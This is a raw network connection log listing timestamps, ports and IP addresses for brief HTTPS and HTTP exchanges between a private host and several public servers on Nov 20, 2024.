Nov 20, 2024 00:19:21.288213968 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.288422108 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.288568020 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.290314913 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.290354967 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.290374994 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.290384054 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.359621048 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.359658957 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.359749079 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.360203028 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.360218048 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.379355907 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.379452944 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.379579067 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.380189896 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.380233049 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.380749941 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.382229090 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.382258892 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.382407904 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.382421970 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.451761007 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.451792955 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.451940060 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.452117920 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:21.452142000 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:21.488527060 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:21.488579035 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:21.488641024 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:21.489242077 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:21.489268064 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:21.516351938 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.519218922 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.519232035 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.521085024 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.521095037 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.543020010 CET	49703	443	192.168.2.5	23.1.237.91
Nov 20, 2024 00:19:21.552329063 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.555279970 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.555300951 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.556253910 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.556258917 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.563426971 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.564721107 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.564754963 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.565150023 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.565165997 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.612941027 CET	443	49782	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.613413095 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.613429070 CET	443	49782	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.614670038 CET	443	49782	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.615255117 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.615362883 CET	443	49782	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.618406057 CET	443	49781	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.618809938 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.618828058 CET	443	49781	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.620023966 CET	443	49781	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.620923042 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.621095896 CET	443	49781	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.622189045 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.622266054 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.622410059 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.622543097 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.622543097 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.622560024 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.622571945 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.626293898 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.626332045 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.626425982 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.626602888 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.626615047 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.657646894 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.657839060 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.657936096 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.658133030 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.658133030 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.658149004 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.658159018 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.661082983 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.661144972 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.661380053 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.661511898 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.661544085 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.667895079 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.668011904 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.668117046 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.668222904 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.668241978 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.668257952 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.668262959 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.670464039 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.670511007 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.670598030 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.670842886 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.670865059 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.673829079 CET	443	49783	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.674206018 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.674222946 CET	443	49783	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.674556971 CET	443	49783	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.674952030 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.675023079 CET	443	49783	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.677575111 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.685581923 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.686290979 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.686325073 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.686912060 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.686923027 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.705612898 CET	443	49784	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.705856085 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.705918074 CET	443	49784	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.706382036 CET	443	49784	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.706904888 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.706993103 CET	443	49784	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.722810984 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.723557949 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.723588943 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.724478960 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.724486113 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.740247965 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.740247965 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.789844990 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.789892912 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.789952993 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.802186012 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.802212000 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.802220106 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.802226067 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.804428101 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:21.804456949 CET	443	49799	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:21.804734945 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:21.805001020 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:21.805048943 CET	443	49800	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:21.805116892 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:21.805572033 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:21.805589914 CET	443	49799	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:21.805752039 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:21.805767059 CET	443	49800	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:21.827115059 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.827150106 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.827245951 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.831024885 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.831175089 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.831336021 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.863250017 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.863720894 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.863755941 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.864281893 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.864353895 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.864353895 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.864383936 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.864396095 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.865314960 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.865346909 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.865613937 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.865655899 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.866786003 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.866862059 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.866925001 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.866981030 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.867961884 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.868041039 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.868282080 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.868398905 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.873466015 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.873501062 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.873717070 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.875093937 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.876368046 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.876388073 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.901005030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:21.901083946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:22.041028976 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:22.041064978 CET	443	49787	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:22.072287083 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:22.072309971 CET	443	49786	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:22.074836016 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.088749886 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.088785887 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.089457035 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.089478970 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.089535952 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.089548111 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.089683056 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.090542078 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.136883974 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.137068033 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.138010025 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.138030052 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.142422915 CET	49787	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:22.164935112 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.165014029 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.172686100 CET	49786	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:22.236690044 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.236706018 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.237659931 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.238311052 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.238343954 CET	49785	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.238372087 CET	443	49785	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.238563061 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.238596916 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.238612890 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.238631010 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.238643885 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.238670111 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.238791943 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.238826990 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.238835096 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.238847017 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.238920927 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.238928080 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.239574909 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.239619970 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.239629030 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.239959955 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.239993095 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.240006924 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.240014076 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.240053892 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.243242979 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.243334055 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.243622065 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.243632078 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.266079903 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.266993046 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.267008066 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.269175053 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.269187927 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.269208908 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:22.269220114 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:22.285681963 CET	443	49799	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.285952091 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:22.285962105 CET	443	49799	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.286278963 CET	443	49799	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.286585093 CET	49799	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:22.286637068 CET	443	49799	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.306090117 CET	443	49800	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.306349039 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:22.306380033 CET	443	49800	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.306721926 CET	443	49800	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.307038069 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:22.307090044 CET	443	49800	23.209.72.43	192.168.2.5
Nov 20, 2024 00:19:22.320872068 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.323909044 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.323941946 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.325295925 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.325304031 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.328398943 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.328475952 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.328488111 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.328577042 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.328634024 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.328641891 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.328722954 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.328782082 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.328789949 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.328943014 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329073906 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329087973 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.329106092 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329166889 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.329196930 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329349995 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329401016 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.329411030 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329505920 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329551935 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.329560041 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329659939 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329706907 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.329715967 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329811096 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329902887 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.329946995 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.329956055 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330005884 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.330013990 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330146074 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330203056 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.330210924 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330301046 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330347061 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.330355883 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330807924 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330856085 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.330864906 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.330965996 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.331016064 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.331026077 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.331125021 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.331168890 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.331176996 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.331279039 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.331336021 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.331343889 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.351924896 CET	49800	443	192.168.2.5	23.209.72.43
Nov 20, 2024 00:19:22.357311964 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.358566046 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.359572887 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.359590054 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.360069990 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.360075951 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.360411882 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.360423088 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.361033916 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:22.361038923 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:22.373264074 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.373347998 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.373364925 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.380940914 CET	49804	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:22.381032944 CET	443	49804	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:22.381242990 CET	49804	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:22.381510973 CET	49804	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:22.381548882 CET	443	49804	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:22.418095112 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418138027 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418148994 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.418158054 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418201923 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.418207884 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418246984 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.418272972 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418544054 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418579102 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418591022 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.418596983 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418689013 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.418694973 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418751955 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418790102 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418793917 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.418800116 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418845892 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418870926 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418886900 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.418903112 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.418927908 CET	49789	443	192.168.2.5	142.251.40.161
Nov 20, 2024 00:19:22.419122934 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419204950 CET	443	49789	142.251.40.161	192.168.2.5
Nov 20, 2024 00:19:22.419231892 CET	443	49789	142.251.40.161	192.168.2.5
